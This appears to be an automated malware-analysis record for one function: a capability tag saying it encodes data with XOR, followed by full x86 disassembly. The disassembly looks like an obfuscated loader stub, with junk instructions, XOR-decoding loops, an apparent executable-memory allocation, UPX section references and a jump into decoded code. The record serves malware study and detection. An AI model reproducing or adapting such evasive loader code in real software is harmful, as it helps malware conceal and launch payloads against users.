Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8b70f81d
sub ebx, 0x7fa79b75
not ebx
add ebx, 0xd2034a45
popal
add edx, edx
add ebx, edx
mov edi, 0
mov ebx, esi
dec ecx
dec eax
mov edx, ebx
sub eax, 1
sub eax, 0xb6745532
sub eax, ecx
mov esi, edx
mov eax, 0xd49f56e
sub eax, 1
add edi, 1
mov eax, ecx
sub eax, 0xed05945d
dec ecx
cmp edi, 0x100eb3a
jne 0x47afd6
inc eax
dec eax
cmp edi, 0x100eb3a
je 0x47b023
mov edx, 0
mov dword [edx], ebx
dec ecx
add ecx, 0x6fc643fb
and ecx, ecx
add ebx, edx
sub ebx, 0x922b008c
mov eax, 0x47ada2
or edi, ecx
and ecx, edi
mov ecx, edi
mov edx, 0x47af96
mov edi, 0x34487bc5
not edi
mov esi, dword [eax]
mov edi, 0x9721bfe2
add ecx, edi
and esi, 0xff
and ebx, ebx
sub ecx, edi
dec edi
xor dword [edx], esi
or ebx, ecx
inc ebx
inc edx
mov ecx, ebx
add ecx, 0x11f8f791
add eax, 1
and ebx, edi
mov ecx, edi
not ecx
cmp edx, entry0
jl 0x47b04b
dec ebx
or edi, ebx
mov edi, 0x872d8ea
mov ecx, 0x1dcdd9c1
sub ebx, ecx
sub ecx, 0x4948eda0
mov esi, ecx
mov esi, ebx
mov edi, 0x47af9a
mov ecx, 0xc1c6a52d
sub edx, ecx
add ebx, 1
mov edi, dword [edi]
mov edx, 0xdbff669f
mov esi, 0xd4f73a04
mov edi, dword [edi]
add edx, ebx
sub ecx, edx
push edi
mov esi, ecx
mov ecx, 0xffe8a113
mov edx, 0xeb7c16d7
mov edi, 0x47af96
and edx, ecx
inc esi
and edx, edx
mov edi, dword [edi]
add ecx, edx
mov edx, ebx
mov edi, dword [edi]
mov ebx, 0xd7f69e2c
add edx, ecx
sub esp, 4
mov dword [esp], 0x47af9e
dec esi
and ecx, edx
sub ebx, esi
call edi
and ecx, ebx
sub ecx, esi
not edx
pop edi
inc ecx
add ebx, 0xb8fcb320
push 0x47afab
mov edx, 0xbe913767
sub edx, 1
push eax
mov edx, 0x9ef62844
dec ebx
call edi
add esi, 1
not edx
mov esi, 0x9b565f6f
sub esp, 4
mov dword [esp], 0x40
mov ecx, ebx
add edx, esi
or ebx, edx
push 0x3000
add esi, 0x1a550e69
and ecx, edx
dec ecx
push 0x20000a51
add ebx, 1
add esi, 0x75326a00
push 0
and ecx, esi
add esi, esi
add ebx, ebx
call eax
mov ebx, esi
mov ebx, 0xcce80ac6
add eax, 0x200009c9
add edx, edx
add ecx, 0x51843712
and esi, edx
mov edi, 0x4ff87ae0
mov edx, 0xf006d77b
add edx, 1
and edx, edx
mov dword [eax], edi
mov esi, edx
inc edx
mov edi, dword [eax]
add esi, 0xce66c6be
add ebx, 0x9182ea8c
cmp edi, 0x4ff87ae0
je 0x47b1b4
mov ecx, 0
mov byte [ecx], dl
mov edx, 0x7c7fae3f
sub ecx, 0x32d6220d
dec edx
not edx
inc edx
or ebx, edx
inc ebx
mov ecx, section.UPX1
not ebx
add ebx, 0xada038ba
mov esi, 0x47ada1
inc ebx
sub ebx, 0xb2158c52
mov eax, 0
and ebx, edx
not ebx
sub ebx, 1
mov edi, 0x47ada2
add edx, 0x66126eb5
add edx, 0x395b6377
lea edi, [edi + eax]
mov ebx, 0x20c11769
mov edx, ebx
mov edx, 0x62d0b4a4
mov edi, dword [edi]
sub ebx, edx
add ebx, 0xc3c5cd8b
and edi, 0xff
add ebx, ebx
or ebx, ebx
add eax, 1
not ebx
not ebx
cmp eax, 0x1f4
jne 0x47b239
mov eax, 0
dec edx
and ebx, edx
or ebx, edx
not ebx
xor dword [ecx], edi
sub ebx, 0xe63a11d5
or ebx, edx
sub ebx, 0x36184406
add ecx, 2
sub ebx, 0x10ab844e
inc edx
add ebx, ebx
cmp ecx, esi
jl 0x47b1ee
sub ebx, 1
or edx, ebx
mov ebx, 0x8f2ae4bf
sub ebx, 0xe7fbe9bd
mov ebx, section.UPX1
not edx
sub edi, 1
mov edx, 0xf31d03fe
mov ecx, section.UPX1
inc edi
add edx, edi
not edx
mov esi, 0x47ada1
or edi, edi
inc edi
and edx, edx
mov eax, 0
or edi, edx
not edi
mov edx, 0xc70efdc4
mov al, byte [ecx]
not edx
add edi, 1
mov byte [ebx], al
add edx, edx
not edi
inc ebx
sub edi, 0x60be44b3
add edi, edi
add edx, 1
add ecx, 2
sub edx, 0x8a3d0217
not edx
add edx, edx
cmp ecx, esi
jle 0x47b2ae
add edx, edx
not edx
inc edx
not edx
sub ebx, 0x15cdb350
inc ebx
sub esp, 4
mov dword [esp], 0x45e6a0
mov ebx, 0x4a39253
add ebx, 0xb10a1d15
ret